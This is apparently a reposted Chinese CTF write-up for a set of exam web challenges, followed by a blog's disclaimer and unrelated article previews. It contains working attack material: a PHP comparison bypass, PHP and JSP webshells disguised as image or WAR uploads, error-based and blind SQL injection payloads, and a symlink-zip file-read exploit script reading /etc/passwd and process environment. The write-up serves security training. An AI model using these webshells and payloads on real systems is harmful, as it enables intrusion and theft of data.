期中考核复现

web

1z_php

?0o0[]=1A&OoO[]=2023a

include "flag.php":尝试包含名为 "flag.php" 的文件。这意味着它会尝试引入一个名为 "flag.php" 的脚本文件,其中可能包含一些敏感信息或标志。

error_reporting(0):设置错误报告级别为 0,即禁用错误报告。这样做可能是为了隐藏潜在的错误信息。

isset($_GET['OoO']):检查是否存在名为 "OoO" 的 GET 请求参数。

isset($_GET['0o0']):检查是否存在名为 "0o0" 的 GET 请求参数。

$_GET['OoO']==2023:检查名为 "OoO" 的 GET 请求参数的值是否等于 2023。

intval($_GET['OoO'][0])==2023:将名为 "OoO" 的 GET 请求参数的第一个字符转换为整数,并检查是否等于 2023。

$_GET['0o0']==$_GET['OoO']:检查名为 "0o0" 的 GET 请求参数的值是否等于名为 "OoO" 的 GET 请求参数的值。

md5($_GET['0o0'])==md5($_GET['OoO']):对名为 "0o0" 和 "OoO" 的 GET 请求参数的值分别进行 MD5 哈希,并检查它们的哈希值是否相等。

!(!(include"flag.php")||(!error_reporting(0))||!isset($_GET['OoO'])||!isset($_GET['0o0'])||($_GET['OoO']==2023)||!(intval($_GET['OoO'][0])==2023)||$_GET['0o0']==$_GET['OoO']||!(md5($_GET['0o0'])==md5($_GET['OoO']))):这是一个逻辑表达式,用于检查多个条件是否为假(即不存在)。如果所有条件均为假,即没有任何条件得到满足,则表示用户提供的输入不符合要求。

? $flag : str_repeat(highlight_file(__FILE__), 0):这是一个三元运算符,根据前面的逻辑表达式的结果进行选择:

  • 如果逻辑表达式的结果为真(即用户提供的输入符合要求),则返回变量 $flag 的值。
  • 如果逻辑表达式的结果为假(即用户提供的输入不符合要求),则返回 highlight_file(__FILE__) 的结果,即将当前脚本文件的内容作为 HTML 高亮代码显示出来。

?0o0[]=1A&OoO[]=2023a

 1z_upload

先用bp爆破出用户密码

admin/admin12345

 文件上传

源码中

if (isset($_FILES['image']) && $_FILES['image']['name'] != "") {$image = $_FILES['image']['name'];$ext = pathinfo($image, PATHINFO_EXTENSION);if (strtolower($ext) == 'jpg') {$image = $_FILES['image']['name'];$image_content = file_get_contents($_FILES['image']['tmp_name']);$search_patterns = ['/\$_POST/i', '/\$_GET/i', '/eval/i', '/\?php/i'];foreach ($search_patterns as $pattern) {if (preg_match($pattern, $image_content)) {header("Location: admin_get_hack.php?id=666");exit();}}$directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);$uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";$uploadDirectory .= $image;move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);}else {header("Location: admin_get_hack.php?id=6");exit();}
}$query = "INSERT INTO books (`book_isbn`, `book_title`, `book_author`, `book_image`, `book_descr`, `book_price`, `publisherid`) VALUES ('" . $isbn . "', '" . $title . "', '" . $author . "', '" . $image . "', '" . $descr . "', '" . $price . "', '" . $publisherid . "')";$result = mysqli_query($conn, $query);if($result){$_SESSION['book_success'] = "New Book has been added successfully";header("Location: admin_book.php");} else {$err =  "Can't add new data " . mysqli_error($conn);}}

 要绕过正则匹配的post,get,eval,?php,这几个,是内容检查,还有后缀检查要是jpg

用request传参

GIF89a?
<script language='php'>@assert($_REQUEST['abc']);</script>

 成功上传文件

 根据所给的源码可以知道文件路径

admin_baohan.php?file=./bootstrap/img/haha.jpg

POST:bthcls=var_dump(file_get_contents('./flag.php'));

最后得到flag

签到O.o?

先弱口令爆破账户密码:manager/1q2w3e4r

jsp木马

<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("1234");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

 要求上传war文件,先写好jsp木马,然后将jsp文件压缩为zip,最后将zip文件的后缀名改为war,上传的文件为war文件

http://192.168.31.60:8081/haha/haha.jsp

蚁剑连接

找到flag

1z_sql

 bp抓包爆破

 账户密码:admin/8888888

 

 ua头报错注入

1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))#

1',2,(extractvalue(1,concat(0x5c,(select group_concat(table_name) from
information_schema.tables where table_schema like "kind"),0x5c))))#
1',2,(extractvalue(1,concat(0x5c,(select group_concat(column_name) from
information_schema.columns where table_schema like "kind" && table_name like
"sheet1"),0x5c))))#

1',2,(extractvalue(1,concat(0x5c,(select group_concat(username,password) from
kind.sheet1),0x5c))))#

1',2,(extractvalue(1,concat(0x5c,left((select
right(group_concat(username,password),33) from kind.sheet1),0x5c),10))))#
1',2,(extractvalue(1,concat(0x5c,left((select
right(group_concat(username,password),10) from kind.sheet1),0x5c),10))))#

 拼接flag

Yunxi{cb0fb8571956248eb37e8b0007572519}

1z_Sql2.0

输入:'or(1<>1)#

输入:'or(length(database())>10)#

无论输入什么,都返回NoNoNo!

爆破表和字段

'or(length((select(group_concat(password))from(yunxi_exam.users)))>0)#

 拿到的提示也没用

爆数据库

(查询当前数据库的名称,并将其倒序输出,取其中第10个字符的 ASCII 码值进行比较)

 'or(ord(substr(reverse(substr(database() from 1)) from 10))<>121)#

  • DATABASE() 函数:用于返回当前数据库的名称。
  • SUBSTR() 函数:用于截取字符串的一部分。
  • REVERSE() 函数:用于将字符串反转。
  • ORD() 函数:用于返回给定字符的 ASCII 码值。

查询 yunxi_exam 数据库中的 bighacker2 表,并获取其中名为 hack123 的字段的所有数据:

 'or(ord(substr(reverse(substr((select(group_concat(hack123))from(yunxi_exam.bighacke
r2))from(1)))from(52)))<>87)#

  • SUBSTR() 函数:用于截取字符串的一部分。
  • REVERSE() 函数:用于将字符串反转。
  • GROUP_CONCAT() 函数:用于将多个行合并为一个字符串,通常用于将查询结果中多个字段合并成一个。
  • ORD() 函数:用于返回给定字符的 ASCII 码值。

1z_flask 

这一题主要考查软连接

 要求上传zip,然后制作软链接读取etc/passwd文件

ln -s /etc/passwd passwd 

zip -y passwd.zip passwd

上传zip,得到

成功被执行,制作读取/flag的软连接,但是未能得到回显
猜测可能是test用户权限的问题,尝试以admin用户登录

因为可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,使用test用户登陆,查看Cookie

session:"eyJ1c2VybmFtZSI6InRlc3QifQ.GBLRNQ.edinN7_CPSFgU_fUl_HRVgtHLmQ"

很有可能是Flask的框架,尝试使用Session解密脚本:

import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decodedef decryption(payload):payload, sig = payload.rsplit(b'.', 1)payload, timestamp = payload.rsplit(b'.', 1)decompress = Falseif payload.startswith(b'.'):payload = payload[1:]decompress = Truetry:payload = base64_decode(payload)except Exception as e:raise Exception('Could not base64 decode the payload because of ''an exception')if decompress:try:payload = zlib.decompress(payload)except Exception as e:raise Exception('Could not zlib decompress the payload before ''decoding the payload')return session_json_serializer.loads(payload)if __name__ == '__main__':print(decryption(sys.argv[1].encode()))

 

可以初步判断是以Session判断是否是admin用户,但伪造session还需要Flask的SECRET_KEY值。
因为已经通过软连接读取任意文件,可以通过读取/proc/self/environ文件,以获取当前进程的环境变量列表。
其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而environ是当前进程的环境变量列表。

制作读取该文件的软连接:

ln -s /proc/self/environ environ
zip -y environ.zip environ

 上传文件

 发现其存在UWSGI_INI=/app/uwsgi.ini,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取,在后续查阅大佬wp时,发现了软链接读取文件的EXP

uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议

 发现其存在UWSGI_INI=/app/uwsgi.ini,也就是uwsgi服务器的配置文件,其中可能包含有源码路径,同样的方式制作软连接读取


在 uWSGI 中,module 是一个配置选项,用于指定要加载的 Python 模块。该模块包含了 uWSGI 服务器要运行的应用程序的代码

 /app/uwsgi.ini里面找到了这个语句,他是加载了hard_t0_guess_bthclsbthcls.python_flask_edited_by_bthcls的这个python模块

那他的源码路径就是/app/hard_t0_guess_bthclsbthcls/bthcls.py

运行脚本得到flag

import os
import requests
import sysdef make_zip():os.system('ln -s ' + sys.argv[2] + ' test_exp')os.system('zip -y test_exp.zip test_exp')def run():make_zip()res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})print(res.text)os.system('rm -rf test_exp')os.system('rm -rf test_exp.zip')if __name__ == '__main__':run()
python3 python.py http://192.168.31.60:8084/upl0ad /app/hard_t0_guess_bthclsbthcls/bthcls.py

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/116702.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

腾讯待办是不是停了?能准时提醒待办事项的APP

有不少网友会使用“腾讯待办”小程序来记录待办的事情&#xff0c;并且设置提醒时间&#xff0c;进行任务管理。不过有不少网友最近在使用腾讯待办小程序的时候&#xff0c;看到了“业务关停通知”的弹窗&#xff0c;想问一下&#xff0c;腾讯待办是不是停了&#xff1f;确实如…

node.js中express框架cookie-parser包设置cookie的问题

后端使用node.js express cookie-parser技术栈设置cookie的时候出现了无法成功设置的问题 前端发送axios请求部分代码&#xff1a; axios({method: "post",data: {content: remark,relatedArticles: relatedArticleId,userId: userId,userEmail: userEmail,topRema…

如何在Puppeteer中设置User-Agent来绕过京东的反爬虫机制?

概述 京东作为中国最大的电商平台&#xff0c;为了保护其网站数据的安全性&#xff0c;采取了一系列的反爬虫机制。然而&#xff0c;作为开发者&#xff0c;我们可能需要使用爬虫工具来获取京东的数据。 正文 Puppeteer 是一个由 Google 开发的 Node.js 库&#xff0c;它提供…

JAVA 同城服务预约家政小程序开发的优势和运营

随着社会节奏的加快&#xff0c;人们对家庭清洁和维护的需求日益增长。为了满足这一需求&#xff0c;JAVA同城服务预约家政小程序应运而生。本文将详细介绍该小程序开发的优势及运营策略&#xff0c;帮助读者更好地了解其价值和潜力。 一、开发优势 方便快捷&#xff1a;用户…

RHEL 软件包管理 rpm yum 源码编译

rpm安装&#xff1a; rpm -ivh xxx.rpm rpm查询:rpm -q zsh rpm -qa |grep zsh rpm -ql zsh |more #查看一个软件包安装后产生的目录及文件 rpm -qpi /mnt/Packages/lrzsz-0.12.20-36.el7.x86_64.rpm #列出rpm包的详细信息&#xff08;还未安装的rpm包&#xff09; rpm -qi zsh…

Spring Security—OAuth2 客户端认证和授权

一、认证—JWT Bearer 关于 JWT Bearer 客户端认证的进一步详情&#xff0c;请参考OAuth 2.0客户端认证和授权许可的 JSON Web Token (JWT)简介。 JWT Bearer 客户端认证的默认实现是 NimbusJwtClientAuthenticationParametersConverter&#xff0c;它是一个 Converter&#…

VMware虚拟机中ubuntu网络连接不上

VMware虚拟机中ubuntu中网络连接不上 解决方案其他虚拟机网络 解决方案 1.选择VMware中编辑-虚拟网络编辑器-更改&#xff1a; 设置为你喜欢的模式&#xff0c;这里为NET模式 2.选中ubuntu虚拟机&#xff08;关机后的虚拟机&#xff09;&#xff0c;点击&#xff1a;编辑虚拟机…

GoLong的学习之路(八)语法之Map

文章目录 Map初始化方式判断某个键是否存在map的遍历对value值遍历。对key值遍历 使用delete()函数删除键值对按照指定顺序遍历map元素为map的切片值为切片类型的map 做个题吧 Map 哈希表是一种巧妙并且实用的数据结构。它是一个无序的key/value对的集合&#xff0c;其中所有的…

【十四】记一次MySQL宕机恢复过程,MySQL INNODB 损坏恢复

记一次MySQL宕机恢复过程 简介&#xff1a;一个业务数据库疏于运维管理&#xff0c;突然在今天崩溃宕机了&#xff0c;真是让人抓狂&#xff0c;上面也不知道积累了多久的数据&#xff0c;平时也没有定期做好备份&#xff0c;这下岂不是瞎了啊&#xff0c;经过不断的收集信息和…

什么是网络API以及用例

什么是API&#xff1f; API&#xff08;application programming interface&#xff0c;应用程序编程接口&#xff09;可使不同的应用程序通过一套机制和协议相互通信。同样&#xff0c;网络 API 可实现网络与应用程序、网络浏览器和数据库之间的通信。 使用表征状态传输&…

LeetCode977——有序数组的平方

LeetCode977——有序数组的平方 给你一个按 非递减顺序 排序的整数数组 nums&#xff0c;返回 每个数字的平方 组成的新数组&#xff0c;要求新数组也按 非递减顺序 排序。 输入&#xff1a;nums [-4,-1,0,3,10] 输出&#xff1a;[0,1,9,16,100] 解释&#xff1a;平方后&…

面试算法36:后缀表达式

题目 后缀表达式是一种算术表达式&#xff0c;它的操作符在操作数的后面。输入一个用字符串数组表示的后缀表达式&#xff0c;请输出该后缀表达式的计算结果。假设输入的一定是有效的后缀表达式。例如&#xff0c;后缀表达式["2", "1", "3", &q…

javaScript 使用indexOf 撸一下模糊查询

说明&#xff1a;把代码直接粘到HTML文件用浏览器打开即可体验 body的数据 <input class"keyWord" type"text" placeholder"查询关键字"><button class"searchBtn">查询</button><div><ul class"res…

【Spring Boot】Spring Boot集成RabbitMQ

一、发送和接收消息 Spring Boot提供了`spring-boot-starter-amqp`组件,只需要简单地配置即可与Spring Boot无缝集成。下面通过示例演示集成RabbitMQ实现消息的接收和发送。 步骤01 配置pom包。 创建Spring Boot项目并在pom.xml文件中添加spring-bootstarter-amqp等相关组件…

跟着NatureMetabolism学作图:R语言ggplot2转录组差异表达火山图

论文 Independent phenotypic plasticity axes define distinct obesity sub-types https://www.nature.com/articles/s42255-022-00629-2#Sec15 s42255-022-00629-2.pdf 论文中没有公开代码&#xff0c;但是所有作图数据都公开了&#xff0c;我们可以试着用论文中提供的数据…

用长tree方式做等长线

我正在「拾陆楼」和朋友们讨论有趣的话题,你⼀起来吧? 拾陆楼知识星球入口 相关文章链接: 用set_data_check的方式做等长线 前面讲过了如何用set_data_check做等长线,这里再讲一下如何用cts的方式做。 1)写一个sdc,把等长线的起点设置成clock source,用于创建create_…

项目结束需要经历的5个关键步骤

项目结束是项目管理不可或缺的一部分。这是项目的最后阶段&#xff0c;根据关键绩效指标和范围对交付成果进行测试&#xff0c;收尾&#xff0c;总结经验教训&#xff0c;完成交接&#xff0c;并签署项目。 项目结束与启动会议和一样重要。管理人员应为此留出时间&#xff0c;…

前端CodeReivew实践 | 京东云技术团队

把Code Review变成一种开发文化而不仅仅是一种制度 把Code Review 作为开发流程的必选项后&#xff0c;不代表Code Review这件事就可以执行的很好&#xff0c;因为Code Review 的执行&#xff0c;很大部分程度上依赖于审查者的认真审查&#xff0c;以及被审查者的积极配合&…

求解仿射变换矩阵

仿射变换是图形学中经常用到的方法&#xff0c;通常但是仿射变换的系数是未知的&#xff0c;需要找到变换前后的三对对应点进行求解。 from affine import Affine import numpy as np参考文献 矩阵最小二乘法求解仿射变换矩阵 def solve_affine(init_points, goal_points) -&…

位置式PID

// 单环PID参数 float Position_KP 0.0180, Position_KI 0.0013, Position_KD 0.11425; /* 位置式PID系数 */ /*************************************************************************** brief 位置式PID控制器* param 实际位置reality&#xff0c;目标位置target…